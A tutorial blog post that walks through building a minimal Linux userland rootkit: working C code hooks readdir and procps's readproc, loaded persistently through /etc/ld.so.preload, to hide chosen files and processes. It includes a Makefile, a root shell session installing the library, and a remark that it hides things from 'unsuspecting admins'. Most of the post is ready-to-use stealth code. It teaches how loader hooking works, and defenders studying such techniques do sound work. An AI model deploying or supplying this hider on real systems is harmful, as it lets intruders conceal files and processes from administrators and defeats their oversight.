This blopost could be a nice opportunity to talk about some basic Linux concepts, including procfs
, LD_PRELOAD
, hooking etc..
While I will not do justice to the word "rootkit" in terms of sophistication, we will be creating a rootkit, in fact.
According to Wikipedia:
A rootkit is a collection of computer software, typically malicious, designed to enable access to a computer or an area of its software that is not otherwise allowed (for example, to an unauthorized user) and often masks its existence or the existence of other software.
We will be focusing on the "masks its existence" part. Our goal for today would be creating a piece of code that can hide an arbitrary filename and process substring.
We will be assuming we have privileged aribtrary code execution as the root
user.
Our strategy will be simple - we will inject code into all new processes and hook relevant functions to hide our files and processes.
I talked a bit about injection and hooking in the past - it was on Windows, but the concepts are similar.
Instead of DLLs
, we will use .so
files. Those files are shared objects
and have the same file format as Linux executables (ELFs). They export symbols that can be used later, conceptually like Windows does. Just like Windows has LoadLibrary
and GetProcAddress
, Linux has dlopen
and dlsym
, and just like Windows PE files can have dependencies on DLLs, Linux ELFs have dependencies on shared objects.
Anyway, our strategy will be the following:
- For injection, we will use the
/etc/ld.so.preload
file. To write to it, we will need root access, but essentially - all files mentioned in that file (that might not exist to begin with) are going to be loaded to new processes. If you're familiar with theLD_PRELOAD
environment variable, it's the same concept, but done persistently. - We get hooking for free. Unlike the Windows dynamic library resolution, that import symbols from specific DLLs (e.g.
kernel32!MapViewOfFile
), on Linux the loader just needs a symbol - once the symbol is resolved it doesn't matter what shared object it comes from. The only thing we need to do is export the right symbol.
Let's start with hiding files. We will be hooking the readdir function, which returns a struct dirent*
- that's a directory entry that contain information about the file, including its name:
struct dirent {
ino_t d_ino; /* Inode number */
off_t d_off; /* Not an offset; see below */
unsigned short d_reclen; /* Length of this record */
unsigned char d_type; /* Type of file; not supported
by all filesystem types */
char d_name[256]; /* Null-terminated filename */
};
The readdir
function returns NULL
on error or if the directory list is done, but we can simply call the next entry. For that, however, we'll need to call the original readdir
function, which can be easily done with dlopen
and dlsym
:
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#define FILENAME_TO_HIDE ("example")
typedef struct dirent* (*readdir_pfn_t)(DIR*);
static readdir_pfn_t g_original_readdir = NULL;
struct dirent* readdir(DIR* dirp)
{
struct dirent* ret = NULL;
// Validate original function exists
if (NULL == g_original_readdir)
{
g_original_readdir = dlsym(RTLD_NEXT, "readdir");
if (NULL == g_original_readdir)
{
goto cleanup;
}
}
// Invoke and skip directory entries to hide
do
{
ret = g_original_readdir(dirp);
if (NULL == ret)
{
goto cleanup;
}
}
while (NULL != strstr(ret->d_name, FILENAME_TO_HIDE));
cleanup:
// Return the entry
return ret;
}
Let's examine this code carefully:
- We include several headers -
dlfcn.h
fordlsym
related stuff,dirent.h
for thestruct dirent
definition, andstring.h
forstrstr
. - Since this is only an exercise
FILENAME_TO_HIDE
is simply defined as a constant. In a real offensive tool we'd probably not just have a constant, since we do not want to recompile every time we want to hide a file. Also, we'd probably support multiple filenames. - We define a
readdir_pfn_t
type, which is the function pointer definition forreaddir
, and declare one global variableg_original_readdir
which will point to the originalreaddir
function. We will initialize it lazily (i.e. the first time it's needed) but we could've also initialized it in the__attribute(constructor)__
function (we we'd have to declare) - that's the shared object equivalent ofDllMain
. - We create a new function
readdir
that hooks the original function. As we said, it first resolves the originalreaddir
by using thedlsym
function, which can get aRTLD_NEXT
constant to get the next symbol - in our case, that'd be the original one. - We then create a loop that calls the original
readdir
function - if it fails or finishes (indicated by returningNULL
) then we simply return theNULL
result. Otherwise, we check that theFILENAME_TO_HIDE
constant is not in thed_name
member in the directory entry (by usingstrstr
). This means we skip filenames we wish to hide.
We will need several compilation flags:
-fPIC
to compile our shared object as a shared object (PIC
stands for position-independent code - shared objects must be position independent).-shared
to make it a shared library; this essentially reduces output file size, as well as avoid other things (like_start
symbol, which is the entry point in executables).-D_GNU_SOURCE
to have a predefined_GNU_SOURCE
constant - this is essential to use theRTLD_NEXT
constant, and is well-documented.- We use
-ldl
linker flag to statically link withlibdl
- that's necessary for usingdlsym
.
Here is an experimental run:
┌──(root㉿jbo-nix)-[/tmp/experiment]
└─# gcc -Wall -fPIC -shared -D_GNU_SOURCE hider.c -ohider.so -ldl
┌──(root㉿jbo-nix)-[/tmp/experiment]
└─# echo /tmp/experiment/hider.so >> /etc/ld.so.preload
┌──(root㉿jbo-nix)-[/tmp/experiment]
└─# touch example
┌──(root㉿jbo-nix)-[/tmp/experiment]
└─# touch example2
┌──(root㉿jbo-nix)-[/tmp/experiment]
└─# ls -la
total 28
drwxr-xr-x 2 jbo jbo 4096 May 4 07:38 .
drwxrwxrwt 11 root root 4096 May 4 07:37 ..
-rw-r--r-- 1 jbo jbo 778 May 4 07:33 hider.c
-rwxr-xr-x 1 root root 15464 May 4 07:37 hider.so
┌──(root㉿jbo-nix)-[/tmp/experiment]
└─#
Let's iterate:
- First command simply compiles the shared object, as we described.
- We compile the shared object and then add it to
/etc/ld.so.preload
file, as we described earlier. Note you have to be running as root to do that. - We create two files with the
touch
command - one calledexample
, the other -example2
. - We run
ls -la
and see those file have bee removed from directory listing!
To make things easier to compile, we can create a simple Makefile - simply running make
now will make things easier:
CC=gcc
CFLAGS=-Wall -fPIC -shared -D_GNU_SOURCE
LDFLAGS=-ldl
all: hider.so
hider.so: hider.o
$(CC) $(CFLAGS) hider.o -o hider.so $(LDFLAGS)
clean:
rm hider.so hider.o
Let's also remove the FILENAME_TO_HIDE
from process listing (e.g. in tools like ps
).
Process listing can easily be done by reading the /proc
filesystem; however, most tools (ps
included) do not read procfs
on their own, they instead use a library, and the most well-known library to do that is called procps.
Well, procps
has a function called readproc
for process listing - it returns a proc_t*
which has many, many fields - one of them is cmdline
which contains the command-line.
So, we can do something very similar, let's export our readproc
function and skip entries with FILENAME_TO_HIDE
in their command-line:
#include <proc/readproc.h>
#define FREEPROC(proc) do \
{ \
if (NULL != (proc)) \
{ \
freeproc(proc); \
(proc) = NULL; \
} \
} \
while (0)
typedef proc_t* (*readproc_pfn_t)(PROCTAB*, proc_t*);
static readproc_pfn_t g_original_readproc = NULL;
proc_t* readproc(PROCTAB* PT, proc_t* return_buf)
{
struct proc_t* ret = NULL;
// Validate original function exists
if (NULL == g_original_readproc)
{
g_original_readproc = dlsym(RTLD_NEXT, "readproc");
if (NULL == g_original_readproc)
{
goto cleanup;
}
}
// Invoke and skip process entries to hide
do
{
// Free previously system-allocated buffers if required
if (NULL == return_buf)
{
FREEPROC(ret);
}
ret = g_original_readproc(PT, return_buf);
if (NULL == ret)
{
goto cleanup;
}
} while ((ret->cmdline[0] != NULL) && (NULL != strstr(ret->cmdline[0], FILENAME_TO_HIDE)));
cleanup:
// Return the entry
return ret;
}
This is quite similar. The only difference is that cmdline
is an array (so we only examine it's first element) and might be NULL
.
Also, calls to readproc
must use freeproc
on previous entries if the input buffer (return_buf
) was NULL
. I usually define macros to do those things (I defined FREEPROC
).
In this blogpost we've discussed several topics - loader preload
, using dlsym
as well as very basic hooking.
The most amazing aspect is that the entire code is less than 100 lines long!
While not being a bulletproof solution, it's certainly a viable way of hiding files and processes from unsuspecting admins.
I put hider.c and Makefile files in this respository that contain the entire "hider" rootkit.
To install it, just add it to /etc/ld.so.preload
as we've done earlier (requires running as root).
Stay tuned!
Jonathan Bar Or